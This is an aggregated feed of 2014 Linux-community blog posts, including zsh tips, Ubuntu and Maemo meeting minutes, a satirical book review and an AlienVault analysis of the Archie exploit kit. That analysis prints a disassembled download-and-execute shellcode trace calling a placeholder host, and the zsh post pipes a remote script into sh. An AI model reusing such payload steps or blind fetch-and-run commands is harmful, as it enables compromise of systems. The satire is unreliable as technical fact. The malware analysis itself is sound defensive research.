September 18, 2014

hackergotchi for Cumulus Linux

Cumulus Linux

So what if the tables wobble a little?

When I first met Cumulus, they were working out of a borderline-sketchy kind of warehouse space they had outgrown long before I showed up.

My job was to “make things better.” Initially, this had a lot to do with boxes and taking out garbage. I threw out a pile of flattened boxes about three feet high early on. The boxes had been stacked and tossed and shoved into a massive pile that consumed the small loft that hovered over the space. These people have no idea how dangerously close they came to becoming an episode of Hoarders.

Despite the mess, they are very good people. I’d been there only a short time when, one day, the bottom fell out of a box of stuff I was moving. Instantly I was surrounded by people who had everything picked up before I’d even registered what happened. One of them was on the phone the entire time and never missed a beat, I think he even made a sale. They were halfway back to their desks before I managed to say “thank you.”

I am not an engineer, but I am married to one, which is almost the same thing. (That last sentence exists only to make the engineers laugh.) So I am not fazed when a new hire tells me he was at his previous job for “roughly” 7.62 years, or when I walk into the kitchen to find a completely disassembled coffee grinder and two slightly guilty looking engineers.

Did you know it takes 30 lbs. of pressure to correctly pack espresso? I do, because the CEO of Cumulus mentioned it while explaining how to use the steampunk work of art that is our espresso machine. I’m not much of an espresso drinker, and I know his opinion of me dimmed slightly at this news. It took an even bigger hit when I purchased a drip coffee machine for the rest of the mildly-disappointing hires.

The only thing about the Cumulus engineers that has been a terrible disappointment to me has to do with the lunch tables. I have never met an engineer that could tolerate a wobbly chair or table. When we moved out of the sketchy warehouse, we bought some new furniture. I was thrilled when I saw that our new tables had feet you could adjust because I knew I wouldn’t be finding stacks of sugar packets stuffed under any of them. Here’s the devastating part: My engineers don’t care! We’ve got wobbly tables all over the place! The only conclusion that makes any sense to me is that they are so incredibly focused on making our software rock, they are suppressing their natural instincts.

Once I was sitting at my desk when one of the engineers returned from a walk. This particular engineer isn’t really a walker. He was clearly churning on some very prickly problem. I asked how things were going. He came over to me, leaned forward slightly, pointed at his head and said, “ten years ago, more hair, and no grey.” He shook his head ruefully and walked away. This was not a man with time for wobbly tables.

Now about the biz people…

The post So what if the tables wobble a little? appeared first on Cumulus Networks Blog.

18 September, 2014 04:46PM by Victoria Byrd

hackergotchi for Blankon developers

Blankon developers

Sokhibi: Biostar P4M890-M7 Support Linux

Artikel ini berisi uji-coba hardware yang kami lakukan apakah benar-benar sudah support terhadap GNU/Linux sehingga berhak masuk kedalam list blog rintisan Uji Hardware pada Linux. Uji Hardware Istana Media kali ini masih menggunakan motherboard yang terbilang barang lama yaitu Biostar P4M890-M7. Motherboard seri ini milik client kami yang digunakan pada salah satu komputer kasir minimarket.

18 September, 2014 03:34PM by Istana Media (

hackergotchi for Ubuntu developers

Ubuntu developers

Robbie Williamson: Priorities & Perseverance

Screenshot from 2014-09-17 22:48:22

This is a not a stock ticker, rather a health ticker…and unlike with a stock price, a downward trend is good.  Over the last 3 years or so, I’ve been on a personal mission of improving my health.  As you can see it wasn’t perfect, but I managed to lose a good amount of weight.

So why did I do it…what was the motivation…it’s easy, I decided in 2011 that I needed to put me first.   This was me from 2009

Screenshot from 2014-09-10 09:54:50IMG_84318618356313

At my biggest, I was pushing 270lbs.  I was so busy trying to do for others, be it work, family, or friends, I was constantly putting my needs last, i.e. exercise and healthy eating.  You see, I actually like to exercise and healthy eating isn’t a hard thing for me, but when you start putting those things last on your priorities, it becomes easy to justify skipping the exercise or grabbing junk food because your short on time or exhausted from being the “hero”.

Now I have battled weight issues most of my life.  Given how I looked as a baby, this shouldn’t come as a surprise. LOL


But I did thin out as a child.


To only get bigger again


And even bigger again


But then I got lucky.  My metabolism kicked into high gear around 20, and I grew about 5 inches and since I was playing a ton of basketball daily, I ate anything I wanted and still stayed skinny


I remained so up until I had my first child, then the pounds began to come on.  Many parents will tell you that the first time is always more than you expected, so it’s not surprising with sleep deprivation and stress, you gain weight.  To make it even more fun, I had decide to start a new job and buy a new house a few years later, when my second child came…even more “fun”.

2014-08-24 22.07.43

To be clear, I’m not blaming any of my weight gain on these events, however they became easy crutches to justify putting myself last.  And here’s the crazy part, by doing all this, I actually ended up doing less for those I cared about in the long run, because I was physically exhausted, mentally fatigued, and emotionally spent a lot of the time.

So, around October of 2012 I made a decision.  In order for me to be the man I wanted to be for my family, friends, and even colleagues, I had to put myself first.  While it sounds selfish, it’s the complete opposite.  In order to be the best I could be for others, I realized I had to get myself together first.  For those of you who followed me on Facebook then, you already know what it took…a combination of MyFitnessPal calorie tracking and a little known workout program called Insanity:


Me and my boy, Shaun T, worked out religiously…everyday…sometimes mornings…sometimes afternoons…sometimes evenings.  I carried him with me all for work travel on my laptop and phone…doing Insanity videos in hotels rooms around the world.  I did the 60day program about 4 times through (with breaks in between cycles)…adding in some weight workouts towards the end.  The results were great, as you can see in the first graphic starting around October 2012.  By staying focused and consistent, I dropped from about 255lbs to 226lbs at my lowest in July 2013.  I got rid of a lot of XXL shirts and 42in waist pants/shorts, and got to a point where I didn’t always feel the need to swim with a shirt on….if ya know what I mean ;-).  So August rolled around, and while I was feeling good about myself…didn’t feel great, because I knew that while I was lighter, and healthier, I wasn’t necessarily that much stronger.  I knew that if I wanted to really be healthy and keep this weight off, I’d need more muscle mass…plus I’d look better too :-P.

So the Crossfit journey began.

Now I’ll be honest, it wasn’t my first thought.  I had read all the horror stories about injuries and seen some of the cult-like stuff about it.  However, a good friend of mine from college was a coach, and pretty much called me out on it…she was right…I was judging something based on others opinions and not my own (which is WAY outta character for me).  So…I went to my first Crossfit event…the Women’s Throwdown in Austin, TX (where I live) held by Woodward Crossfit in July of 2013.  It was pretty awesome….it wasn’t full of muscle heads yelling at each other or insane paleo eating nut jobs trying to out shine another…it was just hardworking athletes pushing themselves as hard as they could…for a great cause (it’s a charity event)…and having a lot of fun.  I planned to only stay for a little bit, but ended up staying the whole damn day! Long story, short…I joined Woodward Crossfit a few weeks after (the delay was because I was determined to complete my last Insanity round, plus I had to go on a business trip), which was around the week of my birthday (Aug 22).



Fast forward a little over a year, with a recently added 21-day Fitness Challenge by David King (who also goes to the same gym), and as of today I’m down about 43lbs (212), with a huge reduction in body fat percentage.  I don’t have the starting or current percentage, but let’s just say all 43lbs lost was fat, and I’ve gained a good amount of muscle in the last year as well…which is why the line flattened a bit before I kicked it up another notch with the 21-Day last month.

Now I’m not posting any more pictures, because that’s not the point of this post (but trust me…I look goooood :P).  My purpose is exactly what the subject says, priorities & perseverance.  What are you prioritizing in your life?  Are you putting too many people’s needs ahead of your own?  Are you happy as a result?  If you were like me, I already know the answer…but you don’t have to stay this way.  You only get one chance at this life, so make the most out of it.  Make the choice to put your happiness first, and I don’t mean selfishly…that’s called pleasure.  You’re happier when your loved ones are doing well and happy…you’re happier when you have friends who like you and that you can depend on….you’re happier when you kick ass at work…you’re happier when you kill it on the basketball court (or whatever activity you like).  Make the decision to be happy, set your goals, then perservere until you attain them…you will stumble along the way…and there will be those around you who either purposely or unknowingly discourage you, but stay focused…it’s not their life…it’s yours.  And when it gets really hard…just remember the wise words of Stuart Smalley:

18 September, 2014 05:32AM

Ronnie Tucker: Everything You Need to Know About Meizu MX4, the Upcoming Ubuntu Phone – Gallery

The new Ubuntu Touch operating system from Canonical will power the new Meizu MX4 phone and it will be out in December, according to the latest information posted by the Chinese company. We now take a closer look at this new phone to see how it will hold up with an Ubuntu experience.

Canonical hasn’t provided any kind of information about a timetable for the launch of the new Ubuntu phone from Meizu, and even the information that we have right now has been posted initially on an Italian blog of the Chinese company. Basically, no one is saying anything officially, but that’s not really the point.

The new Meizu MX4 was announced just a couple of weeks ago and many Ubuntu users have asked themselves if this is the phone that will eventually feature the upcoming Ubuntu Touch. It looks like that is the case, so we now take a closer look at this powerful handset.


Submitted by: Silviu Stahie

18 September, 2014 05:04AM

hackergotchi for Webconverger


Webconverger 26 release

Revised boot menu

Highlights of this 26.0 signed & tagged snapshot:

  • Revised boot menu; helping you get started with Neon, our Web signage product
  • Firefox 32
  • Basic proxy authentication. A customer wanted this to fit into their complex Windows deployment, so now you have it too.
  • Tab right click menu removed to make user interface simpler
  • Bug fixes to the print button and the job scheduler API (cron=)
  • The usual stable security updates and Adobe Flash, with an additional font to make Flash video text render correctly

Please ask your Web developers to switch to HTML video. If you host your video on Youtube, you can make embeds use HTML5 with a html5=1 argument.

Detailed changelog between 25 & 26.

The sha256sum is f4374d183bbc4b897f423d482690ebf128f3f9b65484aee81e7aef180c8afe1e webc-26.0.iso, quickly download from our CDN

Known issue and future work

There is a known issue where setting up external screens on new Intel hardware might not be possible with the currently installed stable Intel driver. We have the solution which we commercially support, an upgraded driver though we didn't roll this into this release since it causes choppy Flash playback.

We are already working towards to smoothly upgrade to the next Debian release, "jessie", which will have more current video drivers et al.

Device management trials are now free of cost

Our commercial service now is now free to trial. No Paypal required. This screencast demonstrates the new signup flow. We hope you will find our configuration management and support service worthy of supporting via payment.

Thanks to the support of our customers; banks, cafes, governments, NGOs, schools, universites, stores, small and large we look forward to supplying you a stable, current and open Web client platform for running your Web application upon long into the future. Please help spread the word!

18 September, 2014 01:50AM

hackergotchi for Ubuntu developers

Ubuntu developers

Ayrton Araujo: Ubuntu shell overpowered

In order to have more productivity under my environment, as a command line centric guy, I started three years ago to use zsh as my defaul shell. And for who never tried it, I would like to share my personal thoughts.

What are the main advantages?

  • Extended globbing: For example, (.) matches only regular files, not directories, whereas az(/) matches directories whose names start with a and end with z. There are a bunch of other things;
  • Inline glob expansion: For example, type rm *.pdf and then hit tab. The glob *.pdf will expand inline into the list of .pdf files, which means you can change the result of the expansion, perhaps by removing from the command the name of one particular file you don’t want to rm;
  • Interactive path expansion: Type cd /u/l/b and hit tab. If there is only one existing path each of whose components starts with the specified letters (that is, if only one path matches /u/l/b*), then it expands in place. If there are two, say /usr/local/bin and /usr/libexec/bootlog.d, then it expands to /usr/l/b and places the cursor after the l. Type o, hit tab again, and you get /usr/local/bin;
  • Nice prompt configuration options: For example, my prompt is currently displayed as tov@zyzzx:/..cts/research/alms/talk. I prefer to see a suffix of my current working directory rather than have a really long prompt, so I have zsh abbreviate that portion of my prompt at a maximum length.


The Z shell is mainly praised for its interactive use, the prompts are more versatilly, the completion is more customizable and often faster than bash-completion. And, easy to make plugins. One of my favorite integrations is with git to have better visibility of current repository status.

As it focus on interactive use, is a good idea to keep maintaining your shell scripts starting with #!/bin/bash for interoperability reasons. Bash is still most mature and stable for shell scripting in my point of view.

So, how to install and set up?

sudo apt-get install zsh zsh-lovers -y

zsh-lovers will provide to you a bunch of examples to help you understand better ways to use your shell.

To set zsh as the default shell for your user:

chsh -s /bin/zsh

Don't try to set zsh as default shell to your full system or some things should stop to work.

Two friends of mine, Yuri Albuquerque and Demetrius Albuquerque (brothers of a former hacker family =x) also recommended to use Thanks for the tip.

How to install oh-my-zsh as a normal user?

curl -L | sh

My $ZSH_THEME is seted to "bureau" under my $HOME/.zshrc. You can try "random" or other themes located inside $HOME/.oh-my-zsh/themes.

For command-not-found integration:

echo "source /etc/zsh_command_not_found" >> ~/.zshrc

If you doesn't have command-not-found package:

sudo apt-get install command-not-found -y

And, if you use Ruby under RVM, I also recommend to read this:

Happy hacking :-)

18 September, 2014 12:28AM

September 17, 2014

Stuart Langridge: Responsive Dummies

After Remy “Remington” Sharp and Bruce “Bruce” Lawson published Introducing HTML5 in 2010, the web development community have been eager to see what they’ll turn their talents to next.1 Now their new book is out, Responsive Design for Dummies.

It’s… got its good points and its bad points. As the cover proudly proclaims, they fully embrace the New World Order of delivering essential features via Web Components. I particularly liked their demonstration of how to wrap a whole site inside a component, thus making your served HTML just be <bruces-site> and so saving you bandwidth2. Their recommendation that Flickr and Facebook use this approach to stop users stealing images may be the best suggestion for future-proofing the web that we’ve heard in 2014 so far. The sidebar on how to use this approach and hash-bang JavaScript URLs together ought to become the new way that we build everything, and I’m eager to see libraries designed for slow connections and accesssibility such as Angular.js adopt the technique.

Similarly, the discussion of how Service Workers can deliver business advantages on the Apple iWatch was welcome, particularly given the newness of the release. It’s rare to see a book this up-to-date and this ready to engage with driving the web forward. Did Bruce and Remy get early access to iWatch prototypes or something? I am eager to start leveraging these techniques with my new startup3.

It’s not all perfect, though. I think that devoting three whole chapters to a Dawkins-esque hymn of hatred for everyone who opposed the <picture> element was a bit more tactless than I was hoping for. You won, chaps, there’s no need to rub it in.4

I’d also like to see, if I’m honest, ideas for when breakpoints are less appropriate. I appreciate that the book comes with a free $500 voucher for Getty Images, but after at Bruce and Remy’s recommendation I downloaded separate images for breakpoints at 17px, 48px, 160px, 320px, 341px, 600px, 601px, 603px, 631px, 800px, 850px, 900px, 1280px, 2560px, and 4200px for retina Firefox OS devices, I only had $2.17 left to spend and my server has run out of disc space. Even after using their Haskell utility to convert the images to BMP and JPEG2000 formats I still only score 13.6% on the Google Pagespeed test, and my router has melted. Do better next time, chaps.

Nonetheless, despite these minor flaws, and obvious copy-editing flubs such as “responsive” being misspelled on the cover itself5, I’d recommend this book. Disclaimer: I know both the authors biblicallypersonally and while Bruce has indeed promised me “a night to remember” for a positive review, that has not affected at all my judgement of this book as the most important and seminal work in the Web field since Kierkegaard’s “Sarissa.js Tips and Tricks”.

Go and buy it. It’s so popular that it might actually be hard to find a copy, but if your bookseller doesn’t have it, you should shout at them.

  1. other than inappropriate swimwear, obviously
  2. I also liked their use of VML and HTML+TIME in a component
  3. it’s basically Uber for pie fillings
  4. although if you don’t rub it in it’ll stain the mankini
  5. clearly it was meant to say “ahahaha responsive design, what evaaaaar”, but maybe that didn’t fit

17 September, 2014 01:11PM

Mattia Migliorini: Windows: How to Solve Application Error 0xc0000142 and 0xc0000005

Windows applications sometimes fail to load. But why? It’ll not tell you, it will instead show a generic and pointless “Application Error” message. Inside this message you will read something like this:

The application was unable to start correctly (0xc0000142). Click OK to close the application.

The only thing you can do here is close the application and search on the Internet for that cryptic error code. And maybe it’s the reason why you are reading this post.
It’s not that easy to find a solution to this problem, but I found it thanks to Up and Ready and want to share it with you.

The problem

Windows tells you that the application was unable to start. You can try a hundred times, but the error does not solve itself magically, because it’s not casual. The problem is that the ddl that launches the application is unsigned or digitally no longer valid. And it’s not up to you, maybe you just downloaded the program from the official site.

The solution

To solve the Application Error you need an advanced Windows Sysinternals Tool called Autoruns for Windows. You can download it from the official website.

Windows Application Error Autoruns AppInit

Click on the image to view it full size.

Extract the archive you downloaded, launch autoruns.exe and go to the AppInit tab, which will list all the dll that are unsigned or digitally no longer valid on you computer. Right click each of them, one at a time, go to Properties and rename them. After renaming each of them, try launching the application again to find the problematic dll.

If the previous method didn’t solve the application error, right click on the following entry:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_Dlls

and click on Jump to entry…

Windows Application Error System Registry Editor

A new window opens: it’s the System Registry Editor. Double click LoadAppInit_DLLs and change the value from 1 to 0. Click OK to confirm and exit. Now launch the compromised program and it’ll start.

Note: some applications may change that value back to 1 after they get launched!

The post Windows: How to Solve Application Error 0xc0000142 and 0xc0000005 appeared first on deshack.

17 September, 2014 01:07PM

Ronnie Tucker: Torvalds says he has no strong opinions on systemd

Linux creator Linus Torvalds is well-known for his strong opinions on many technical things. But when it comes to systemd, the init system that has caused a fair degree of angst in the Linux world, Torvalds is neutral.

“When it comes to systemd, you may expect me to have lots of colourful opinions, and I just don’t,” Torvalds told iTWire in an interview. “I don’t personally mind systemd, and in fact my main desktop and laptop both run it.


Submitted by: Sam Varghese

17 September, 2014 05:03AM

September 16, 2014

Ubuntu Kernel Team: Kernel Team Meeting Minutes – September 16, 2014

Meeting Minutes

IRC Log of the meeting.

Meeting minutes.


20140916 Meeting Agenda

Release Metrics and Incoming Bugs

Release metrics and incoming bug data can be reviewed at the following link:


Status: Utopic Development Kernel

The Utopic kernel remains based on a v3.16.2 upstream stable kernel and
is uploaded to the archive, ie. linux-3.16.0-15.21. Please test and let
us know your results.
I’d also like to point out that our Utopic kernel freeze date is about 3
weeks away on Thurs Oct 9. Please don’t wait until the last minute to
submit patches needing to ship in the Utopic 14.10 release.
Important upcoming dates:
Mon Sep 22 – Utopic Final Beta Freeze (~1 weeks away)
Thurs Sep 25 – Utopic Final Beta (~1 weeks away)
Thurs Oct 9 – Utopic Kernel Freeze (~3 weeks away)
Thurs Oct 16 – Utopic Final Freeze (~4 weeks away)
Thurs Oct 23 – Utopic 14.10 Release (~5 weeks away)

Status: CVE’s

The current CVE status can be reviewed at the following link:

Status: Stable, Security, and Bugfix Kernel Updates – Trusty/Precise/Lucid

Status for the main kernels, until today (Sept. 16):

  • Lucid – verification & testing
  • Precise – verification & testing
  • Trusty – verification & testing

    Current opened tracking bugs details:


    For SRUs, SRU report is a good source of information:



    cycle: 29-Aug through 20-Sep
    29-Aug Last day for kernel commits for this cycle
    31-Aug – 06-Sep Kernel prep week.
    07-Sep – 13-Sep Bug verification & Regression testing.
    14-Sep – 20-Sep Regression testing & Release to -updates.

Open Discussion or Questions? Raise your hand to be recognized

No open discussion.

16 September, 2014 05:15PM

Elizabeth K. Joseph: Ubuntu at Fossetcon 2014

Last week I flew out to the east coast to attend the very first Fossetcon. The conference was on the smaller side, but I had a wonderful time meeting up with some old friends, meeting some new Ubuntu enthusiasts and finally meeting some folks I’ve only communicated with online. The room layout took some getting used to, but the conference staff was quick to put up signs and directing conference attendees in the right direction and in general leading to a pretty smooth conference experience.

On Thursday the conference hosted a “day zero” that had training and an Ubucon. I attended the Ubucon all day, which kicked off with Michael Hall doing an introduction to the Ubuntu on Phones ecosystem, including Mir, Unity8 and the Telephony features that needed to be added to support phones (voice calling, SMS/MMs, Cell data, SIM card management). He also talked about the improved developer portal with more resources aimed at app developers, including the Ubuntu SDK and simplified packaging with click packages.

He also addressed the concern of many about whether Ubuntu could break into the smartphone market at this point, arguing that it’s a rapidly developing and changing market, with every current market leader only having been there for a handful of years, and that new ideas need need to play to win. Canonical feels that convergence between phone and desktop/laptop gives Ubuntu a unique selling point and that users will like it because of intuitive design with lots of swiping and scrolling actions, gives apps the most screen space possible. It was interesting to hear that partners/OEMs can offer operator differentiation as a layer without fragmenting the actual operating system (something that Android struggles with), leaving the core operating system independently maintained.

This was followed up by a more hands on session on Creating your first Ubuntu SDK Application. Attendees downloaded the Ubuntu SDK and Michael walked through the creation of a demo app, using the App Dev School Workshop: Write your first app document.

After lunch, Nicholas Skaggs and I gave a presentation on 10 ways to get involved with Ubuntu today. I had given a “5 ways” talk earlier this year at the SCaLE in Los Angeles, so it was fun to do a longer one with a co-speaker and have his five items added in, along with some other general tips for getting involved with the community. I really love giving this talk, the feedback from attendees throughout the rest of the conference was overwhelmingly positive, and I hope to get some follow-up emails from some new contributors looking to get started. Slides from our presentation are available as pdf here: contributingtoubuntu-fossetcon-2014.pdf

Ubuntu panel, thanks to Chris Crisafulli for the photo

The day wrapped up with an Ubuntu Q&A Panel, which had Michael Hall and Nicholas Skaggs from the Community team at Canonical, Aaron Honeycutt of Kubuntu and myself. Our quartet fielded questions from moderator Alexis Santos of Binpress and the audience, on everything from the Ubuntu phone to challenges of working with such a large community. I ended up drawing from my experience with the Xubuntu community a lot in the panel, especially as we drilled down into discussing how much success we’ve had coordinating the work of the flavors with the rest of Ubuntu.

The next couple days brought Fossetcon proper, with I’ll write about later. The Ubuntu fun continued though! I was able to give away 4 copies of The Official Ubuntu Book, 8th Edition which I signed, and got José Antonio Rey to sign as well since he had joined us for the conference from Peru.

José ended up doing a talk on Automating your service with Juju during the conference, and Michael Hall had the opportunity to a talk on Convergence and the Future of App Development on Ubuntu. The Ubuntu booth also looked great and was one of the most popular of the conference.

I really had a blast talking to Ubuntu community members from Florida, they’re a great and passionate crowd.

16 September, 2014 05:01PM

hackergotchi for Blankon developers

Blankon developers

hackergotchi for Ubuntu developers

Ubuntu developers

Ubuntu LoCo Council: New SubLoCo Policy

Hi, after a lot of work, thinking and talking about the problem of the LoCo Organization and the SubLoCos, we came up with the following policy:

  • Each team will be a country (or state in the United States). We will call this a ‘LoCo’.
  • Each LoCo can have sub-teams. This sub-teams will be created at the will and need of each LoCo.
  • A LoCo may have sub-teams or not have sub-teams.
  • In the event a LoCo does have sub-teams, a Team Council needs to be created.
  • A Team Council is conformed by at least one member of each sub-team.
  • The members that will be part of the Team Council will be chosen by other current members of the team.
  • The Team Council will have the power to make decisions regarding to the LoCo.
  •  The Team Council will also have the power to request partner items, such as conference and DVD packs.
  • The LoCo Council will only recognize one team per country (or state in the United States). This is the team that will be in the ~locoteams team in Launchpad.
  • In the event a LoCo wants to go through the verification process, the LoCo will go through it, and not individual sub-teams.
  • LoCos not meeting the criteria of country/state teams will be denied verification.
  • In the event what is considered a sub-team wants to be considered a LoCo, it will need to present a request to the LoCo Council.
  • The LoCo Council will provide a response, which is, in no way, related to verification. The LoCo will still have to apply for verification if wanted.

We encourage the LoCo teams to see if this new form of organization is fits for you, if so please start forming subteams as you find useful. If a team needs help with this or anything else contact us, we are here to help!

16 September, 2014 03:24PM

September 15, 2014

The Fridge: Ubuntu Weekly Newsletter Issue 383

Welcome to the Ubuntu Weekly Newsletter. This is issue #383 for the week September 8 – 14, 2014, and the full version is available here.

In this issue we cover:

The issue of The Ubuntu Weekly Newsletter is brought to you by:

  • Elizabeth K. Joseph
  • Jose Antonio Rey
  • And many others

If you have a story idea for the Weekly Newsletter, join the Ubuntu News Team mailing list and submit it. Ideas can also be added to the wiki!

Except where otherwise noted, content in this issue is licensed under a Creative Commons Attribution 3.0 License BY SA Creative Commons License

15 September, 2014 11:51PM

hackergotchi for AlienVault OSSIM

AlienVault OSSIM

Archie: Just another Exploit kit

We have previously described how Exploit Kits are some of the favorite techniques used by cybercriminals to install malicious software on victims' systems.

The number of Exploit Kits available has experienced exponential growth in the last few years. Since Blackhole’s author was arrested in 2013, the number of Exploit Kits has increased - including Neutrino, Magnitude, Nuclear, Rig and Angler. In this blog post we discuss Archie, an Exploit Kit that was first discovered by William Metcalf at EmergingThreats.

Archie is a really basic Exploit Kit that uses different exploit modules copied from the Metasploit Framework. When the victim lands on the main page, Archie uses the PluginDetect Javascript library to extract information about Flash, Silverlight and Acrobat Reader versions and the information is sent to the server.

It also uses the following trick to check whether or not the system is running a 64-bit version of Internet Explorer. We documented this trick in previous blog posts.

Depending on the Silverlight, Internet Explorer and Flash versions, it will try to load a different exploit module including:

Filename CVE Affected Software MD5
flashlow.swf CVE-2014-0497 Flash 4f3f7b896ab69ec2c082709220000b38
flashhigh.swf CVE-2014-0515 Flash 18e0629ba830f0894268aa1dca92ea78
silverapp1.xap CVE-2013-0074 SilverLight f1759371fe6c7f46ca3c82edd456eca2
iebasic.html CVE-2013-2551 Internet Explorer e9fbd007f6fa2f188c090f535da7ca4a

Archie contains shellcode in different formats that is sent to the different exploit modules generated by Metasploit when it loads them.

If we disassemble the shellcode we can see it is a basic download and execute payload.

4010bb     LoadLibraryA(urlmon)
401089     VirtualAlloc(base=0 , sz=400) = 60000
4010ce     GetTempPath(len=104, buf=60000) = 14
4010a7     URLDownloadToFile(http://IPADDRESS:PORT/dd, C:\users\user\Temp\e.dll)
401108     LoadLibraryA(C:\users\user\Temp\e.dll)
401114     Sleep(0x3a98)

The shellcode downloads a DLL from the webserver, writes it in \Users\[Current_user]\Temp\e.dll and then loads it.

The IP address where the Archie Exploit Kit is hosted, and the piece of malware delivered, is also being used for click fraud operations. It is related to this research published by Kimberly on the click fraud bot.

Following is the list of hashes that we have found connecting to the same C&C:



15 September, 2014 10:13PM

hackergotchi for Maemo developers

Maemo developers

2014-08-05 Meeting Minutes

Meeting held 2014-08-05 at 20:00 UTC on FreeNode, channel #maemo-meeting (logs)

Attending: Gido Griese (Win7Mac), Falk Stern (warfare),
Philippe Coval (RzR), Niel Nielsen (nieldk), Peter Leinchen (peterleinchen)

Absent: Joerg Reisenweber (DocScrutinizer05), Jussi Ohenoja (juiceme)

Summary of topics (ordered by discussion):

  • status of MC e.V.
  • new SSL certificates>
  • IRC configuration/administration rights
  • future of Harmattan

Topic (status of MC e.V.):

  • German court is processing for weeks and weeks (they're understaffed ATM), but we have a file number...
  • UPDATE on this (not in the meeting): MC e.V. got registered!

Topic (new SSL certificates):

  • This issue can be marked as resolved by the work and help of Falk Stern (warfare, TMO: fstern).
  • The certs are from startssl and are "free" as in beer.
  • Muchos gracias !!!
  • A personal thank you, as he did this on his own.

Topic (IRC configuration/administration rights):

  • This is still not resolved. RzR tried to contact x-fade at Jolla, but until now no response.
  • We agreed on trying to contact Jolla board member to ask for some spare time of x-fade to resolve this and hand over rights on Maemo IRC channels to CC or board member(s).
  • This mail will be prepared by nieldk and should be signed by all CC/Board members.

Topic (future of Harmattan):

  • RzR poked Nokia on Twitter about HarmattanDev:
  • plz @nokiadeveloper @NokiaHelps contact #maemo council or @hildonfound to status on #HarmattanDev unavailability. RT!

Action Items:
  • nieldk setting up an email until next weeks meeting to contact Jolla board about x-fade timeframe.
0 Add to favourites0 Bury

15 September, 2014 08:51PM by Peter Leinchen (

2014-07-29 Meeting Minutes

Meeting held 2014-07-29 at 20:00 UTC on FreeNode, channel #maemo-meeting (logs)


Partial: Joerg Reisenweber (DocScrutinizer05), Peter Leinchen (peterleinchen)

Absent: Jussi Ohenoja (juiceme), Philippe Coval (RzR), Niel Nielsen (nieldk)

Summary of topics (ordered by discussion):

  • no topics

Nothing has been discussed.
Action Items:
  • N/A
0 Add to favourites0 Bury

15 September, 2014 08:50PM by Peter Leinchen (

2014-09-09 Meeting Minutes

Meeting held 2014-09-09 on FreeNode, channel #maemo-meeting (logs)

Attending: Gido Griese (Win7Mac), Paul Healey (sixwheeledbeast), Jussi Ohenoja (juiceme), Niel Nielsen (nieldk), Peter Leinchen (peterleinchen)

Absent: Joerg Reisenweber (DocScrutinizer05)

Summary of topics (ordered by discussion):

  • Certificate issue on wiki.m.o
  • Security check on m.o
  • Transition to Maemo e.V., referendum and membership registration

Topic (Certificate issue on wiki.m.o):

  • A certificate on seems to have "refused" to be updated last month. Issue has been reported by user on TMO.
  • Techstaff immediately resolved this. Big THANKS.
  • Sixwheeledbeast expressed something about CSS misbehaviour on wiki pages (due to He was asked to write technical details to techstaff directly to get this resolved.

Topic (Security check on m.o):

  • nieldk proposed to do a scan of environment
  • It was agreed that he may check for latest vulnerabilities and do a general conformity test. NOT without informing our techstaff before doing so (on #maemo-admin or/and via e-mail).

Topic (Transition to Maemo e.V., referendum and membership registration):

  • Discussion on the referendum regarding the "Maemo council and election rules".
  • The referendum should be held regarding the "specification of council duties" and "rework of council rules". Please see this post/thread for more details.
  • It was agreed that the first draft of wording should be prepared by council (juiceme) and it will be publicly discussed on TMO.
  • RzR pointed out to have mentioned last weeks given CoC (Code of Conduct) rules in that thread.

  • Discussion on the "active member sign up".
  • The current form was sent out by chem|st and thanks to juiceme available for all.
  • Some pros and cons were discussed, but in general the form was agreed.
  • Sending way to e.V. for registration was discussed and answered by chem|st earlier that a scanned copy by mail would be fine. Together with some copy of ID/drivers license.
  • Age of registration candidate was discussed. needs to be over 14 and in case of age below 18/21 a parental signature will be needed too.

  • Future of Maemo regarding monetary affairs was asked.
  • Win/Mac gave the number of currently 3378$ (~2600€) to be handed over to e.V. With a view to free/low-cost hosting (IPHH) and free work of our techstaff this could sound sufficient, but will not suffice for long term...

Action Items:
  • Sixwheeledbeast to clarify the CSS issue on with techstaff.
  • juiceme to create a wording draft for the referendum (to be counterchecked by council members).
0 Add to favourites0 Bury

15 September, 2014 06:35PM by Peter Leinchen (

2014-09-02 Meeting Minutes

Meeting held 2014-09-02 on FreeNode, channel #maemo-meeting (logs)

Attending: Craig Woodward (Woody14619), Gido Griese (Win7Mac), Ruediger Schiller (chem|st), Paul Healey (sixwheeledbeast), Jussi Ohenoja (juiceme), Philippe Coval (rZr), Niel Nielsen (nieldk), Peter Leinchen (peterleinchen)

Absent: Joerg Reisenweber (DocScrutinizer05)

Summary of topics (ordered by discussion):

  • NielDK's resignation
  • Discussion on Maemo e.V. and Council rules
  • Code of Conduct

Topic (NielDK's resignation):

  • NielDk joined in even he was not expected to appear after his resignation post.
  • NielDk explained his view on and council/e.V. and the reasons that lead to his decision. I think this quote of NielDK [23:36]: "Let me extend a bit, I think Doc is correct in wanting the council to be the speach organ for the community, towards board, but it is not deciding what the board should accept or do (eV or HiFo), the board cant legally 100% function like that" expresses it the most.
  • At the end of the meeting NielDK was convinced to resign from his resignation. And keep staying active member of Council and board of MC e.V..

Topic (Discussion on Maemo e.V. and Council rules):

  • The discussion faded into the transition to maemo e.V. and again the Council rules.
  • Another quote of Woody14619 [23:40] explains the situation we are in: "There are 3 points of contention: (legal) ownership/liability, (technical) operation, and (community) input and direction. Splitting liability from operation is the issue."
  • Board (e.V.) is the legal representation of And will take all legal responsibilities.
  • The role of e.V. seen by DocScrutinizer is only acting as cashier. But this does not fit the structure!
  • Another reason for clashing seems to be the pretending of "council rules". Council will still be elected by garage members (no change).
    But council election rules may be changed by board (2/3 majority).

  • Short conclusion (by peterleinchen): Council does not operate, but eV does. Council is concentrator of community will (and speech organ to board/e.V.). Council will be elected from garage.m.o members. Council cannot force board to act illegally.
    Board is the legal owner (legally responsible). Board is therefore the entity that "governs" Board can change bylaws (also: council election rules) by 2/3 majority.
    The MCeV is an entity and chain of command is "General Meeting>Board>Council"
  • DocScrutinizer joined the channel after the meeting and claimed he just defended the "MAEMO COUNCIL AND ELECTION RULES"

  • Question came up, how much member really care about the community or whether community is already gone (due to so less votes (~100) against sent out tokens (~5800).

Topic (Code of Conduct):

  • RzR asked about to set up a Code of Conduct for
  • Please see the links as examples, like debian kde github mozilla

Action Items:
  • N/A
0 Add to favourites0 Bury

15 September, 2014 06:34PM by Peter Leinchen (

2014-08-26 Meeting Minutes

Meeting held 2014-08-26 on FreeNode, channel #maemo-meeting (logs)

Attending: Joerg Reisenweber (DocScrutinizer05), Jussi Ohenoja (juiceme), Philippe Coval (RzR), Peter Leinchen (peterleinchen)

